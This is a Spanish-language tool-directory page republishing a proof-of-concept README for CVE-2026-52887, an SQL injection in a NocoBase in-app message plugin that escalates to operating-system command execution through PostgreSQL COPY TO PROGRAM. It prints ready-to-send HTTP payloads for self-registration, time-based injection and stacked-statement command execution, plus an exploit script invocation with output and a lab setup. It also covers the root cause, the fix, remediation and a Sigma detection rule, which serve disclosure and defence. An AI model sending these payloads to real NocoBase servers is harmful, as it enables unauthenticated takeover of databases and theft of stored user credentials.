Skip to content
KitploitKITPLOIT
HerramientasBlog
Enviar
HerramientasBlog
Enviar

¡Herramientas de Hacking, PenTest y Ciberseguridad para tu Arsenal de Seguridad!

Kitploit es un directorio de herramientas de hacking, ciberseguridad y pentesting. Descubre las últimas actualizaciones de proyectos para encontrar vulnerabilidades, analizar sistemas, automatizar pruebas y fortalecer tu seguridad.

··Feeds·Contacto·Privacidad·© 2026 Kitploit

Directorio de Herramientas

Categorías

Ver todas las categorías
Loading categories
CVE-2026-52887-NocoBase-SQLi-RCE — CVE-2026-52887 — Inyección SQL en NocoBase -> RCE como superusuario de PostgreSQL (filtro myInAppChannels:list, CVSS 10.0). PoC del autor + análisis de código fuente + laboratorio Docker. | Kitploit
Herramientas/GitHubGitHub/biitts/cve-2026-52887-nocobase-sqli-rce
Análisis de VulnerabilidadesAnálisis de CódigoExplotaciónExplotación de Aplicaciones WebPruebas de PenetraciónSeguridad de Bases de DatosLabs y Práctica
GitHubbiitts/cve-2026-52887-nocobase-sqli-rce

Más Populares

Ver todos →

Descubre las herramientas más usadas por nuestra comunidad.

Explora todas las herramientas

Explora nuestra colección de herramientas

Ver todas las herramientas →
Compartir

CVE-2026-52887-NocoBase-SQLi-RCE

CVE-2026-52887 — Inyección SQL en NocoBase -> RCE como superusuario de PostgreSQL (filtro myInAppChannels:list, CVSS 10.0). PoC del autor + análisis de código fuente + laboratorio Docker.

Ver Repositorio
hace 18 díasAún no revisado

CVE-2026-52887 — Inyección SQL en NocoBase → RCE como superusuario de PostgreSQL

Inyección SQL en la acción myInAppChannels:list del plugin @nocobase/plugin-notification-in-app-message de NocoBase (≤ 2.0.60). El parámetro de solicitud filter[latestMsgReceiveTimestamp][$lt] se interpola directamente en una cadena SQL cruda de Sequelize.literal() sin escape ni enlazado de parámetros. Mediante el soporte de sentencias apiladas del driver pg de PostgreSQL, la inyección alcanza COPY … TO PROGRAM y, debido a que el compose predeterminado del proveedor crea el rol nocobase de la base de datos como superusuario, esto permite la ejecución de comandos de shell como el usuario postgres del sistema operativo. El endpoint requiere un usuario autenticado, pero el plugin auth-basic predeterminado incluye el auto-registro habilitado, por lo que cualquier visitante anónimo puede registrarse y acceder a él.

Causa raíz

packages/plugins/@nocobase/plugin-notification-in-app-message/src/server/defineMyInAppChannels.ts, manejador myInAppChannels:list (2.0.57):

root@kitploit:~
const latestMsgReceiveTSFilter = filter?.latestMsgReceiveTimestamp?.$lt
    ? Sequelize.literal(`${latestMsgReceiveTimestampSQL} < ${filter.latestMsgReceiveTimestamp.$lt}`)
    : null;

filter.latestMsgReceiveTimestamp.$lt proviene directamente de la consulta de la solicitud (filter[latestMsgReceiveTimestamp][$lt]=…) y se concatena en un Sequelize.literal() — SQL crudo, sin enlazado de parámetros, sin coerción de tipos. Un atacante cierra la comparación y añade SQL arbitrario.

De SQLi a RCE

  • NocoBase se ejecuta sobre PostgreSQL mediante el driver pg, que permite sentencias apiladas (… ; …). El fragmento inyectado añade una segunda sentencia.
  • El docker-compose.yml predeterminado del proveedor crea el rol nocobase mediante POSTGRES_USER de la imagen de postgres, que es siempre un superusuario.
  • Un superusuario puede ejecutar COPY (…) TO PROGRAM '<shell>', ejecutando <shell> como el usuario postgres del sistema operativo dentro del contenedor de la base de datos.

Acceso al endpoint sin autenticación

La ACL de myInAppChannels es loggedIn, pero el plugin auth-basic predeterminado viene con allowSignUp: true. Un atacante anónimo se auto-registra (POST /api/auth:signUp?authenticator=basic), inicia sesión para obtener un token bearer y continúa — por lo que en una instalación predeterminada esto no requiere autenticación en la práctica.

La corrección (2.0.61)

defineMyInAppChannels.ts añade parseLatestMsgReceiveTimestampLt(), que fuerza el valor a través de Number() (rechazando entradas no finitas / no numéricas con un 400) y cambia a una comparación enlazada:

root@kitploit:~
Sequelize.where(Sequelize.literal(latestMsgReceiveTimestampSQL), Op.lt, latestMsgReceiveTimestampLt)

Prueba de concepto

root@kitploit:~
$ python3 exploit.py -u http://127.0.0.1:13000 --cmd "id > /tmp/proof 2>&1"
[+] self-registered 'lab_operator' via auth-basic signUp
[+] signed in, bearer token acquired
[*] time-based: PG_SLEEP(5)=5.03s  control=0.02s
[+] SQL injection confirmed (time-based)
[+] COPY TO PROGRAM sent (HTTP 200) - 'id > /tmp/proof 2>&1' executed as the postgres OS user

$ docker exec nb-pg cat /tmp/proof
uid=999(postgres) gid=999(postgres) groups=999(postgres),101(ssl-cert)

Cadena HTTP cruda:

root@kitploit:~
POST /api/auth:signUp?authenticator=basic          {"username":"a","password":"P!ssw0rd1","confirm_password":"P!ssw0rd1"}
POST /api/auth:signIn?authenticator=basic           {"account":"a","password":"P!ssw0rd1"}  → {"data":{"token":"…"}}

# time-based oracle (≈5s delay):
GET /api/myInAppChannels:list?filter[latestMsgReceiveTimestamp][$lt]=0)%20AND%201=(SELECT%201%20FROM%20PG_SLEEP(5))--%20a
Authorization: Bearer <token>

# stacked-statement RCE:
GET /api/myInAppChannels:list?filter[latestMsgReceiveTimestamp][$lt]=0);%20COPY%20(SELECT%201)%20TO%20PROGRAM%20'id%20>%20/tmp/proof'; --%20a
Authorization: Bearer <token>

--cmd acepta cualquier comando de shell (reverse shell, callback OAST, lectura de filas de la base de datos mediante COPY (SELECT …) TO PROGRAM 'cat > /tmp/x', etc.).

Reproducir el laboratorio

No hay puente docker en este host, así que ejecute ambos contenedores con red de host (host networking):

root@kitploit:~
docker run -d --name nb-pg --network host \
  -e POSTGRES_USER=nocobase -e POSTGRES_PASSWORD=nocobase -e POSTGRES_DB=nocobase postgres:16
docker run -d --name nb-app --network host \
  -e DB_DIALECT=postgres -e DB_HOST=127.0.0.1 -e DB_PORT=5432 \
  -e DB_DATABASE=nocobase -e DB_USER=nocobase -e DB_PASSWORD=nocobase \
  -e APP_KEY=change-me -e APP_PORT=13000 nocobase/nocobase:2.0.57
# NocoBase auto-installs and serves on http://127.0.0.1:13000
python3 exploit.py -u http://127.0.0.1:13000 --cmd "id > /tmp/proof 2>&1"
docker exec nb-pg cat /tmp/proof

Límite de la versión corregida (rechazada):

root@kitploit:~
docker run ... nocobase/nocobase:2.0.61   # same steps
# the PG_SLEEP / COPY TO PROGRAM payloads return HTTP 400; a numeric $lt still returns 200

Consulte EVIDENCE.txt para ver la transcripción capturada y ANALYSIS.md para el análisis a nivel de código fuente.

Veredicto

VULNERABLE CONFIRMADO en nocobase/nocobase:2.0.57, verificado mediante dos técnicas independientes:

  1. Ciego basado en tiempo — el payload PG_SLEEP(5) retrasa la respuesta ~5.0s mientras que una solicitud idéntica sin el sleep devuelve ~0.03s en el mismo endpoint (descarta un limitador de velocidad / artefacto de reintento).
  2. RCE por sentencias apiladas — un archivo que no existía antes de la solicitud contiene uid=999(postgres) gid=999(postgres), la salida real de id(1) ejecutado como el usuario postgres del sistema operativo, no un eco del payload.

CORREGIDO en nocobase/nocobase:2.0.61 — ambos payloads devuelven HTTP 400 mientras que un $lt numérico sigue devolviendo 200.

Impacto

Ejecución remota de código como el usuario postgres del sistema operativo dentro del contenedor de la base de datos: lectura/escritura completa de la base de datos de NocoBase, divulgación de todos los secretos y credenciales de usuario almacenados, y un punto de apoyo para el movimiento lateral. Alcanzable por cualquier visitante anónimo en una instalación predeterminada.

Remediación

  • Actualice a NocoBase ≥ 2.0.61.
  • No ejecute el rol de PostgreSQL de la aplicación como superusuario; conceda únicamente los privilegios que la aplicación necesita (elimina la primitiva COPY … TO PROGRAM).
  • Deshabilite el auto-registro público (allowSignUp: false) donde no sea necesario.

Detección

Solicitudes myInAppChannels:list cuyo valor de filter[latestMsgReceiveTimestamp][$lt] no sea un número simple, y registros de PostgreSQL que contengan COPY … TO PROGRAM:

root@kitploit:~
GET /api/myInAppChannels:list  with filter[latestMsgReceiveTimestamp][$lt] containing
   non-numeric characters: ')', ';', 'SELECT', 'PG_SLEEP', 'COPY', '--'
postgres: statement: COPY (...) TO PROGRAM '...'

Sigma (log de acceso del servidor web):

root@kitploit:~
title: NocoBase myInAppChannels SQL injection (CVE-2026-52887)
logsource: { category: webserver }
detection:
  selection:
    cs-uri-stem|contains: '/api/myInAppChannels:list'
    cs-uri-query|contains:
      - 'PG_SLEEP'
      - 'TO PROGRAM'
      - '$lt]=0)'
      - '$lt]=0);'
  condition: selection
level: critical

Licencia

MIT. © Caio Fabrício (BiiTts).

Descargar herramienta
CVECVE-2026-52887
ProductoNocoBase (@nocobase/plugin-notification-in-app-message)
Afectado≤ 2.0.60 (verificado en nocobase/nocobase:2.0.57)
Corregido2.0.61
ClaseInyección SQL (CWE-89) → ejecución de comandos del sistema operativo
CVSS 3.110.0 CRÍTICO — AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H (CNA de GitHub)
AutenticaciónEfectivamente sin autenticación — auth-basic predeterminado con allowSignUp: true
EstadoVULNERABLE CONFIRMADO — verificado de extremo a extremo en 2.0.57